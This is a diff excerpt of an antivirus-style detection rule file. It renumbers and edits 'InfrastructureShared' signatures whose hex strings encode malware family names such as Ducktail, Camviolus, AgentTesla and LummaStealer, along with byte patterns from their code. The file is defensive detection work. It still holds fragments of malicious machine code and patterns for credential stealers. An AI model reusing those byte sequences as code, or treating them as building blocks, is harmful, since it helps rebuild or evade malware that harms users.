4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 75 63 6b 74 61 69 6c 2e 41 41 21 4d 54 42 00 0a 00 36 03 48 8d 40 } //29300 $a_ca_2 = {03 c9 48 89 48 dc b9 f8 0f 00 00 c7 40 e4 41 ff a2 00 2b ca 89 48 e7 83 c2 10 66 c7 40 eb 90 90 90 90 c6 40 ed 90 90 49 83 e8 01 75 90 00 0a 00 18 01 44 6f 74 4e 65 74 52 75 6e 74 69 6d 65 44 65 62 75 67 48 65 61 64 65 72 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 00 } //18452 - $a_00_3 = {00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd c5 c9 c0 c9 c3 c9 c8 d7 cf e9 ea c0 00 01 00 0c 01 da d0 db d9 d1 c7 cc ee a2 b3 ac 00 01 00 0d 01 c8 bb a9 b1 b9 bb b0 b0 ee b7 a4 b7 00 01 00 0b 01 d9 ad ae b6 b3 b5 ee ba bb b1 00 01 00 0a 01 b7 e9 e9 e9 e9 ee b9 ac b0 00 01 00 0c 01 d4 ad ad b1 cf c2 ee b8 b0 b0 00 20 00 } //30720 - $a_00_4 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 53 49 42 21 4d 54 42 00 01 00 6c 03 89 c6 31 c0 3b 45 90 01 01 7d 90 01 01 89 c1 8b 55 10 8b 7d 90 01 01 83 e1 90 01 01 8a 0c 0a 32 0c 07 88 0c 06 40 90 18 3b 45 90 1b 00 90 18 8b 4d 90 1b 00 89 df f3 a4 89 5c 24 90 01 01 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 04 24 90 01 04 ff 15 90 00 00 } //30720 - $a_00_5 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 4c 6f 61 64 2e 53 41 00 01 00 6e 03 48 83 ec 78 90 02 20 b9 4c 77 26 07 90 02 20 e8 90 02 04 00 00 b9 49 f7 02 78 e8 90 02 04 00 00 b9 58 a4 53 e5 90 02 20 e8 90 02 04 00 00 90 02 20 b9 10 e1 8a c3 90 02 20 e8 90 02 04 00 00 90 02 20 b9 af b1 5c 94 90 02 20 e8 90 02 04 00 00 90 02 20 b9 33 00 9e 95 90 02 20 e8 90 02 04 00 00 90 02 20 81 90 02 02 50 45 00 00 90 00 00 } //30720 - $a_00_6 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 39 38 21 4d 54 42 00 01 00 66 03 0a 06 72 20 d9 03 70 72 24 d9 03 70 6f 90 01 01 00 00 0a 0a 28 90 01 01 00 00 0a 06 28 90 01 01 00 00 06 6f 90 01 01 00 00 0a 0b 07 72 2a d9 03 70 6f 90 01 01 00 00 0a 0c 7e 2c 00 00 04 17 8d 4e 00 00 01 25 16 1f 5f 9d 6f 90 01 01 00 00 0a 0d 16 13 04 11 04 16 fe 01 13 12 11 12 2c 05 17 13 04 2b 12 90 00 00 } //30720 + $a_00_3 = {00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 45 21 4d 54 42 00 14 00 4d 01 44 03 c9 8b cb 44 03 4c 06 fc 8b c3 44 03 4c 34 5c c1 c0 0a 45 03 ce c1 c9 0d 45 8b f7 33 c8 45 8b fc 8b c3 44 8b e7 c1 c8 02 43 8d 3c 0a 33 c8 45 8b d5 45 8b eb 44 8b db 41 8b c5 0b c2 23 d8 41 8d 04 09 41 0b d8 03 d8 48 83 ed 01 0a 00 1b 03 c1 e9 1e 33 c8 69 c1 90 01 04 03 c2 89 84 95 84 0a 00 00 48 ff c2 48 81 fa 90 00 00 } //30720 + $a_00_4 = {00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd c5 c9 c0 c9 c3 c9 c8 d7 cf e9 ea c0 00 01 00 0c 01 da d0 db d9 d1 c7 cc ee a2 b3 ac 00 01 00 0d 01 c8 bb a9 b1 b9 bb b0 b0 ee b7 a4 b7 00 01 00 0b 01 d9 ad ae b6 b3 b5 ee ba bb b1 00 01 00 0a 01 b7 e9 e9 e9 e9 ee b9 ac b0 00 01 00 0c 01 d4 ad ad b1 cf c2 ee b8 b0 b0 00 20 00 } //30720 + $a_00_5 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 53 49 42 21 4d 54 42 00 01 00 6c 03 89 c6 31 c0 3b 45 90 01 01 7d 90 01 01 89 c1 8b 55 10 8b 7d 90 01 01 83 e1 90 01 01 8a 0c 0a 32 0c 07 88 0c 06 40 90 18 3b 45 90 1b 00 90 18 8b 4d 90 1b 00 89 df f3 a4 89 5c 24 90 01 01 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 44 24 90 01 01 90 01 04 c7 04 24 90 01 04 ff 15 90 00 00 } //30720 + $a_00_6 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 4c 6f 61 64 2e 53 41 00 01 00 6e 03 48 83 ec 78 90 02 20 b9 4c 77 26 07 90 02 20 e8 90 02 04 00 00 b9 49 f7 02 78 e8 90 02 04 00 00 b9 58 a4 53 e5 90 02 20 e8 90 02 04 00 00 90 02 20 b9 10 e1 8a c3 90 02 20 e8 90 02 04 00 00 90 02 20 b9 af b1 5c 94 90 02 20 e8 90 02 04 00 00 90 02 20 b9 33 00 9e 95 90 02 20 e8 90 02 04 00 00 90 02 20 81 90 02 02 50 45 00 00 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_ca_2 & 1)*18452+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=16 } -rule _InfrastructureShared_10537{ +rule _InfrastructureShared_11221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 75 63 6b 74 61 69 6c 2e 41 41 21 4d 54 42 00 0a 00 36 03 48 8d 40 14 48 63 ca 49 03 c9 48 89 48 dc b9 f8 0f 00 00 c7 40 e4 41 ff a2 00 2b ca 89 48 e7 83 c2 10 66 c7 } //21539 - $a_90_1 = {90 c6 40 ed 90 90 49 83 e8 01 75 90 00 0a 00 18 01 44 6f 74 4e 65 74 52 75 6e 74 69 6d 65 44 65 62 75 67 48 65 61 64 65 72 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 00 00 78 99 00 00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd c5 c9 c0 c9 c3 c9 c8 d7 cf e9 ea c0 00 } //-5312 - $a_01_2 = {da d0 db d9 d1 c7 cc ee a2 b3 ac 00 } //1 - $a_01_3 = {c8 bb a9 b1 b9 bb b0 b0 ee b7 a4 b7 00 } //1 + $a_90_1 = {90 c6 40 ed 90 90 49 83 e8 01 75 90 00 0a 00 18 01 44 6f 74 4e 65 74 52 75 6e 74 69 6d 65 44 65 62 75 67 48 65 61 64 65 72 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 00 00 78 99 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 45 21 4d 54 42 00 14 00 4d 01 44 03 c9 8b cb 44 03 4c 06 fc 8b c3 44 03 4c 34 5c c1 c0 0a 45 03 ce c1 c9 0d 45 8b f7 33 } //-5312 + $a_fc_2 = {c3 44 8b e7 c1 c8 02 43 8d 3c 0a 33 c8 45 8b d5 45 8b eb 44 8b db 41 8b c5 0b c2 23 d8 41 8d 04 09 41 0b d8 03 d8 48 83 ed 01 0a 00 1b 03 c1 e9 1e 33 c8 69 c1 90 01 04 03 c2 89 84 95 84 0a 00 00 48 ff c2 48 81 fa 90 00 00 00 78 99 00 00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd } //17864 + $a_c9_3 = {c9 c8 d7 cf e9 ea c0 00 01 00 0c 01 da d0 db d9 d1 c7 cc ee a2 b3 ac 00 01 00 0d 01 c8 bb a9 b1 b9 bb b0 b0 ee b7 a4 b7 00 01 00 0b 01 d9 ad ae b6 b3 b5 ee ba bb b1 00 01 00 0a 01 b7 e9 e9 e9 e9 ee b9 ac b0 00 01 00 0c 01 d4 ad ad b1 cf c2 ee b8 b0 b0 00 20 00 00 78 9a 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 53 49 42 21 4d 54 42 00 01 00 6c 03 89 c6 31 c0 3b 45 90 01 01 7d 90 01 01 89 c1 8b 55 10 8b 7d 90 01 01 83 e1 90 01 01 8a 0c 0a 32 0c 07 88 0c 06 40 90 18 3b 45 90 1b 00 90 18 8b 4d 90 1b 00 89 df f3 a4 } //-13883 condition: - ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-5312+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=21 + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-5312+(#a_fc_2 & 1)*17864+(#a_c9_3 & 1)*-13883) >=21 } -rule _InfrastructureShared_10538{ +rule _InfrastructureShared_11222{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 45 21 4d 54 42 00 14 00 4d 01 44 03 c9 8b cb 44 03 4c 06 fc 8b c3 44 03 4c 34 5c c1 c0 0a 45 03 ce c1 c9 0d 45 8b f7 33 c8 45 8b fc 8b c3 44 8b } //21539 + $a_02_1 = {43 8d 3c 0a 33 c8 45 8b d5 45 8b eb 44 8b db 41 8b c5 0b c2 23 d8 41 8d 04 09 41 0b d8 03 d8 48 83 ed 01 0a 00 1b 03 c1 e9 1e 33 c8 69 c1 90 01 04 03 c2 89 84 95 84 0a 00 00 48 ff c2 48 81 fa 90 00 00 00 78 99 00 00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd c5 c9 c0 c9 c3 c9 c8 d7 cf e9 ea c0 00 01 00 0c 01 da d0 db d9 d1 c7 cc ee a2 b3 ac 00 01 00 0d 01 c8 bb a9 b1 b9 bb b0 b0 ee b7 a4 b7 00 01 00 0b 01 d9 ad ae b6 b3 b5 ee ba bb b1 00 01 00 0a 01 b7 e9 e9 } //-15897 + condition: + ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-15897) >=30 + +} +rule _InfrastructureShared_11223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,66 00 66 00 06 00 21 " @@ -114821,7 +122431,7 @@ rule _InfrastructureShared_10538{ ((#a_54_0 & 1)*18467+(#a_bb_1 & 1)*-20055+(#a_01_2 & 1)*257+(#a_b9_4 & 1)*656) >=102 } -rule _InfrastructureShared_10539{ +rule _InfrastructureShared_11224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114831,7 +122441,7 @@ rule _InfrastructureShared_10539{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10540{ +rule _InfrastructureShared_11225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114841,7 +122451,7 @@ rule _InfrastructureShared_10540{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10541{ +rule _InfrastructureShared_11226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114851,7 +122461,7 @@ rule _InfrastructureShared_10541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10542{ +rule _InfrastructureShared_11227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114861,7 +122471,7 @@ rule _InfrastructureShared_10542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10543{ +rule _InfrastructureShared_11228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114871,7 +122481,7 @@ rule _InfrastructureShared_10543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10544{ +rule _InfrastructureShared_11229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114881,7 +122491,7 @@ rule _InfrastructureShared_10544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10545{ +rule _InfrastructureShared_11230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114891,7 +122501,7 @@ rule _InfrastructureShared_10545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10546{ +rule _InfrastructureShared_11231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114901,7 +122511,7 @@ rule _InfrastructureShared_10546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10547{ +rule _InfrastructureShared_11232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114911,7 +122521,7 @@ rule _InfrastructureShared_10547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10548{ +rule _InfrastructureShared_11233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114921,7 +122531,7 @@ rule _InfrastructureShared_10548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10549{ +rule _InfrastructureShared_11234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114931,7 +122541,7 @@ rule _InfrastructureShared_10549{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10550{ +rule _InfrastructureShared_11235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114941,7 +122551,7 @@ rule _InfrastructureShared_10550{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10551{ +rule _InfrastructureShared_11236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114951,7 +122561,7 @@ rule _InfrastructureShared_10551{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10552{ +rule _InfrastructureShared_11237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114961,7 +122571,7 @@ rule _InfrastructureShared_10552{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10553{ +rule _InfrastructureShared_11238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114971,7 +122581,7 @@ rule _InfrastructureShared_10553{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10554{ +rule _InfrastructureShared_11239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114981,7 +122591,7 @@ rule _InfrastructureShared_10554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10555{ +rule _InfrastructureShared_11240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114991,7 +122601,7 @@ rule _InfrastructureShared_10555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10556{ +rule _InfrastructureShared_11241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115001,7 +122611,7 @@ rule _InfrastructureShared_10556{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10557{ +rule _InfrastructureShared_11242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115011,7 +122621,7 @@ rule _InfrastructureShared_10557{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10558{ +rule _InfrastructureShared_11243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115021,7 +122631,7 @@ rule _InfrastructureShared_10558{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10559{ +rule _InfrastructureShared_11244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115031,7 +122641,7 @@ rule _InfrastructureShared_10559{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10560{ +rule _InfrastructureShared_11245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115041,7 +122651,7 @@ rule _InfrastructureShared_10560{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10561{ +rule _InfrastructureShared_11246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115051,7 +122661,7 @@ rule _InfrastructureShared_10561{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10562{ +rule _InfrastructureShared_11247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115061,7 +122671,7 @@ rule _InfrastructureShared_10562{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10563{ +rule _InfrastructureShared_11248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -115071,7 +122681,7 @@ rule _InfrastructureShared_10563{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_10564{ +rule _InfrastructureShared_11249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -115082,7 +122692,7 @@ rule _InfrastructureShared_10564{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25938) >=1 } -rule _InfrastructureShared_10565{ +rule _InfrastructureShared_11250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -115094,7 +122704,7 @@ rule _InfrastructureShared_10565{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29814+(#a_43_2 & 1)*25959) >=1 } -rule _InfrastructureShared_10566{ +rule _InfrastructureShared_11251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -115107,7 +122717,7 @@ rule _InfrastructureShared_10566{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28483+(#a_90_2 & 1)*-14577+(#a_31_3 & 1)*6656) >=1 } -rule _InfrastructureShared_10567{ +rule _InfrastructureShared_11252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -115120,7 +122730,7 @@ rule _InfrastructureShared_10567{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*9292+(#a_0b_2 & 1)*17544+(#a_2b_3 & 1)*17606) >=1 } -rule _InfrastructureShared_10568{ +rule _InfrastructureShared_11253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -115132,7 +122742,7 @@ rule _InfrastructureShared_10568{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*17606+(#a_24_2 & 1)*-14743) >=1 } -rule _InfrastructureShared_10569{ +rule _InfrastructureShared_11254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -115146,7 +122756,7 @@ rule _InfrastructureShared_10569{ ((#a_5f_0 & 1)*25635+(#a_02_1 & 1)*-28533+(#a_00_2 & 1)*144+(#a_00_3 & 1)*-14077+(#a_3a_4 & 1)*24938) >=1 } -rule _InfrastructureShared_10570{ +rule _InfrastructureShared_11255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -115163,7 +122773,7 @@ rule _InfrastructureShared_10570{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*18363+(#a_8f_2 & 1)*26625+(#a_6f_3 & 1)*26160+(#a_90_4 & 1)*-1733+(#a_8b_5 & 1)*-18929+(#a_b6_6 & 1)*-10239+(#a_89_7 & 1)*400) >=1 } -rule _InfrastructureShared_10571{ +rule _InfrastructureShared_11256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -115173,7 +122783,7 @@ rule _InfrastructureShared_10571{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10572{ +rule _InfrastructureShared_11257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115184,7 +122794,7 @@ rule _InfrastructureShared_10572{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1) >=2 } -rule _InfrastructureShared_10573{ +rule _InfrastructureShared_11258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115195,7 +122805,7 @@ rule _InfrastructureShared_10573{ ((#a_46_0 & 1)*16675+(#a_fd_1 & 1)*-29299) >=2 } -rule _InfrastructureShared_10574{ +rule _InfrastructureShared_11259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115206,7 +122816,7 @@ rule _InfrastructureShared_10574{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*28005) >=2 } -rule _InfrastructureShared_10575{ +rule _InfrastructureShared_11260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115217,7 +122827,7 @@ rule _InfrastructureShared_10575{ ((#a_46_0 & 1)*16675+(#a_84_1 & 1)*80) >=2 } -rule _InfrastructureShared_10576{ +rule _InfrastructureShared_11261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115228,7 +122838,7 @@ rule _InfrastructureShared_10576{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*14346) >=2 } -rule _InfrastructureShared_10577{ +rule _InfrastructureShared_11262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115238,7 +122848,7 @@ rule _InfrastructureShared_10577{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10578{ +rule _InfrastructureShared_11263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115248,7 +122858,7 @@ rule _InfrastructureShared_10578{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10579{ +rule _InfrastructureShared_11264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115258,7 +122868,7 @@ rule _InfrastructureShared_10579{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10580{ +rule _InfrastructureShared_11265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115269,7 +122879,7 @@ rule _InfrastructureShared_10580{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22551) >=2 } -rule _InfrastructureShared_10581{ +rule _InfrastructureShared_11266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115280,7 +122890,7 @@ rule _InfrastructureShared_10581{ ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*22539) >=2 } -rule _InfrastructureShared_10582{ +rule _InfrastructureShared_11267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -115291,7 +122901,7 @@ rule _InfrastructureShared_10582{ ((#a_4c_0 & 1)*21539+(#a_db_1 & 1)*19728) >=2 } -rule _InfrastructureShared_10583{ +rule _InfrastructureShared_11268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -115303,7 +122913,7 @@ rule _InfrastructureShared_10583{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*25710+(#a_20_2 & 1)*29807) >=2 } -rule _InfrastructureShared_10584{ +rule _InfrastructureShared_11269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -115314,57 +122924,32 @@ rule _InfrastructureShared_10584{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*12325) >=2 } -rule _InfrastructureShared_10585{ +rule _InfrastructureShared_11270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 1b 81 01 73 79 6e 74 61 6b 73 61 6e 61 6c 79 73 65 72 6e 65 20 63 6f 64 65 76 65 6c 6f 70 01 00 13 81 01 68 61 65 72 76 61 65 72 6b 20 70 65 6e 64 61 6e 74 65 72 01 00 15 81 01 } //18467 - $a_74_1 = {6f 6d 6d 65 73 74 65 20 72 64 6c 65 72 65 74 73 01 00 1f 81 01 6d 6f 6e 6f 6e 69 74 72 69 64 65 20 66 69 73 6b 65 6b 75 74 74 65 72 20 69 6e 6a 65 63 74 73 00 00 78 9a 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 41 21 4d 54 42 00 01 00 } //28019 - $a_c9_2 = {c0 0f 95 c1 8b 04 8d 90 01 04 b9 90 01 04 33 0d 90 01 04 01 c8 40 ff e0 90 00 01 00 20 02 89 ca 81 ca 90 01 04 81 f1 90 01 04 21 d1 8d 34 09 f7 d6 } //541 - $a_d6_3 = {f0 40 31 db ff e0 90 00 01 00 19 02 0f b6 c0 8b 04 85 90 01 04 b9 90 01 04 33 0d 90 01 04 01 c8 40 } //-12799 + $a_74_1 = {6f 6d 6d 65 73 74 65 20 72 64 6c 65 72 65 74 73 01 00 1f 81 01 6d 6f 6e 6f 6e 69 74 72 69 64 65 20 66 69 73 6b 65 6b 75 74 74 65 72 20 69 6e 6a 65 63 74 73 00 00 78 9a 00 00 02 00 02 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 4b 77 61 6d 70 69 72 73 2e 41 30 00 01 00 14 03 32 1c 0a 8b d1 83 e2 0f 88 18 0f b6 92 90 } //28019 + $a_91_2 = {00 01 00 16 03 83 c6 05 88 50 03 8d 57 04 83 e2 0f 0f b6 92 90 02 0a 32 97 90 00 01 00 0d 01 83 c7 05 88 50 04 83 c0 05 83 f9 15 72 01 00 11 01 66 c7 } //2562 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28019+(#a_c9_2 & 1)*541+(#a_d6_3 & 1)*-12799) >=2 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28019+(#a_91_2 & 1)*2562) >=2 } -rule _InfrastructureShared_10586{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 